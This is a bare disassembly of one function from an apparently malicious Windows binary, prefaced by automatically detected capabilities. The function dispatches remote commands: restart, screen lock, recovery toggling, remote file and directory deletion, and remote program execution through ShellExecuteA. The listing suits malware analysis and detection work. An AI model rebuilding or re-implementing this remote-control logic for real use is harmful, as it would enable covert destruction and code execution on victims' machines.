Function at 0x435360
Capabilities:
Check if file exists
Self delete

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4f8b00
push eax
mov eax, dword [esp + 0x10]
mov dword fs:[0], esp
mov eax, dword [eax]
sub esp, 0x28
push ebx
push esi
mov esi, ecx
mov ecx, dword [eax + 0x10]
xor ebx, ebx
cmp ecx, ebx
push edi
jbe 0x435391
mov eax, dword [eax + 0x14]
jmp 0x435393
xor eax, eax
push eax
lea ecx, [esp + 0x48]
call fcn.00401fd0
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], reloc.OLEAUT32.dll_SysReAllocStringLen
mov dword [esp + 0x1c], 0x512874
mov dword [esp + 0x28], 0x11
or edi, 0xffffffff
lea ecx, [esp + 0x1c]
mov byte [esp + 0x3c], 1
mov dword [esp + 0x30], edi
call dword [0x512878]
push 2
lea ecx, [esp + 0x20]
mov dword [esp + 0x2c], eax
mov eax, dword [esi + 0x13c]
push ecx
push eax
call fcn.00407aa0
add esp, 0xc
cmp eax, ebx
jne 0x435409
mov eax, dword [esi + 0x13c]
push eax
call sub.IOCPTcp.dll_TcpDestroy
mov dword [esi + 0x13c], edi
mov dword [esi + 0x140], ebx
mov edx, dword [esp + 0x44]
push edx
push str.ProcessGenericCmd__s_.
lea eax, [esi + 0x124]
push 4
push eax
call fcn.0048cfe0
mov ecx, dword [esp + 0x54]
push str.Restart
push ecx
call fcn.004d51b1
add esp, 0x18
test eax, eax
jne 0x435445
push ebx
call fcn.00446cb0
add esp, 4
jmp 0x43584c
mov edx, dword [esp + 0x44]
push 0x507b64
push edx
call fcn.004d51b1
add esp, 8
test eax, eax
jne 0x43546a
push 1
call fcn.00446cb0
add esp, 4
jmp 0x43584c
mov eax, dword [esp + 0x44]
push str.LockScreen
push eax
call fcn.004d51b1
add esp, 8
test eax, eax
je 0x43584c
mov ecx, dword [esp + 0x44]
push str.StopRecover
push ecx
call fcn.004d51b1
add esp, 8
test eax, eax
jne 0x4354ae
push ebx
push 0x5083f8
push ebx
call fcn.00447c50
add esp, 0xc
jmp 0x43584c
mov edx, dword [esp + 0x44]
push str.StartRecover
push edx
call fcn.004d51b1
add esp, 8
test eax, eax
jne 0x4354d8
push ebx
push 0x5083f8
push ebx
call fcn.00447c20
add esp, 0xc
jmp 0x43584c
mov eax, dword [esp + 0x44]
cmp dword [eax - 0xc], ebx
push ebp
jl 0x435603
push str.DelDir
push eax
call fcn.004d40cc
add esp, 8
cmp eax, ebx
je 0x435603
sub eax, dword [esp + 0x48]
mov dword [esp + 0x1c], eax
jne 0x435603
push 6
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x50]
call fcn.0040d480
push 0x20
push 0x20
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], 2
call fcn.004093a0
mov ecx, eax
call fcn.00409210
call fcn.004077c0
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.0041ab80
add esp, 8
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x44], 3
call fcn.004015e0
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 5
call fcn.004016e0
mov eax, dword [esp + 0x10]
mov ebp, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push eax
call ebp
test eax, eax
jne 0x43558f
mov ecx, dword [esp + 0x14]
push ecx
call ebp
test eax, eax
jne 0x43558f
mov edx, dword [esp + 0x10]
push edx
push 0x5083e8
jmp 0x4355e3
lea ebx, [esi + 4]
mov ecx, ebx
call fcn.00481a30
lea eax, [esp + 0x10]
push eax
call fcn.00487680
lea ecx, [esp + 0x18]
push ecx
call fcn.00487680
add esp, 8
mov ecx, ebx
call fcn.00481a10
mov edx, dword [esp + 0x10]
push edx
call ebp
test eax, eax
jne 0x4355d9
mov eax, dword [esp + 0x14]
push eax
call ebp
test eax, eax
jne 0x4355d9
mov ecx, dword [esp + 0x10]
push ecx
push 0x5083d4
jmp 0x4355e3
mov edx, dword [esp + 0x10]
push edx
push 0x5083c0
push esi
call fcn.00432310
add esp, 0xc
lea ecx, [esp + 0x14]
call fcn.004016e0
lea ecx, [esp + 0x10]
call fcn.004016e0
jmp 0x43584b
mov eax, dword [esp + 0x48]
cmp dword [eax - 0xc], ebx
jl 0x43571c
push str.DelFile
push eax
call fcn.004d40cc
add esp, 8
cmp eax, ebx
je 0x43571c
sub eax, dword [esp + 0x48]
mov dword [esp + 0x1c], eax
jne 0x43571c
push 7
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x50]
call fcn.0040d480
push 0x20
push 0x20
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], 6
call fcn.004093a0
mov ecx, eax
call fcn.00409210
call fcn.004077c0
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.0041ab80
add esp, 8
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x44], 7
call fcn.004015e0
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 9
call fcn.004016e0
mov eax, dword [esp + 0x10]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push eax
call ebx
test eax, eax
jne 0x4356b9
mov ecx, dword [esp + 0x14]
push ecx
call ebx
test eax, eax
jne 0x4356b9
mov edx, dword [esp + 0x10]
push edx
push 0x5083b0
jmp 0x4356fc
lea eax, [esp + 0x10]
push eax
call fcn.00487690
lea ecx, [esp + 0x18]
push ecx
call fcn.00487690
mov edx, dword [esp + 0x18]
add esp, 8
push edx
call ebx
test eax, eax
jne 0x4356f2
mov eax, dword [esp + 0x14]
push eax
call ebx
test eax, eax
jne 0x4356f2
mov ecx, dword [esp + 0x10]
push ecx
push 0x50839c
jmp 0x4356fc
mov edx, dword [esp + 0x10]
push edx
push 0x508388
push esi
call fcn.00432310
add esp, 0xc
lea ecx, [esp + 0x14]
call fcn.004016e0
lea ecx, [esp + 0x10]
call fcn.004016e0
jmp 0x43584b
mov eax, dword [esp + 0x48]
cmp dword [eax - 0xc], ebx
jl 0x43584b
push str.RemoteRun
push eax
call fcn.004d40cc
add esp, 8
cmp eax, ebx
je 0x43584b
sub eax, dword [esp + 0x48]
mov dword [esp + 0x1c], eax
jne 0x43584b
push 9
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x50]
call fcn.0040d480
lea ecx, [esp + 0x14]
call fcn.004016c0
mov ebp, dword [esp + 0x10]
mov eax, dword [ebp - 0xc]
cmp eax, ebx
mov byte [esp + 0x40], 0xb
jle 0x435789
push 0x22
push ebp
call fcn.004d5136
add esp, 8
cmp eax, ebx
je 0x435789
sub eax, ebp
mov edi, eax
lea ebx, [edi + 1]
push ebx
push 0x22
lea ecx, [esp + 0x18]
call fcn.0040d390
cmp edi, 0xffffffff
mov esi, eax
je 0x435807
cmp esi, 0xffffffff
je 0x435807
lea ecx, [esi + 1]
push ecx
lea edx, [esp + 0x1c]
push edx
lea ecx, [esp + 0x18]
call fcn.0040d480
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x44], 0xc
call fcn.00403fd0
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 0xb
call fcn.004016e0
sub esi, edi
dec esi
push esi
push ebx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x1c]
call fcn.0040d3d0
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x44], 0xd
call fcn.00403fd0
lea ecx, [esp + 0x1c]
mov byte [esp + 0x40], 0xb
call fcn.004016e0
mov ebp, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push ebp
push ecx
call fcn.00487f60
mov eax, dword [eax]
mov edx, dword [esp + 0x1c]
add esp, 8
push 1
push eax
push edx
push ebp
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 0x1c]
call fcn.004016e0
lea ecx, [esp + 0x14]
call fcn.004016e0
lea ecx, [esp + 0x10]
call fcn.004016e0
or edi, 0xffffffff
pop ebp
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
mov dword [esp + 0x1c], 0x502e30
mov dword [esp + 0x3c], edi
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
pop edi
pop esi
pop ebx
jg 0x435876
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 4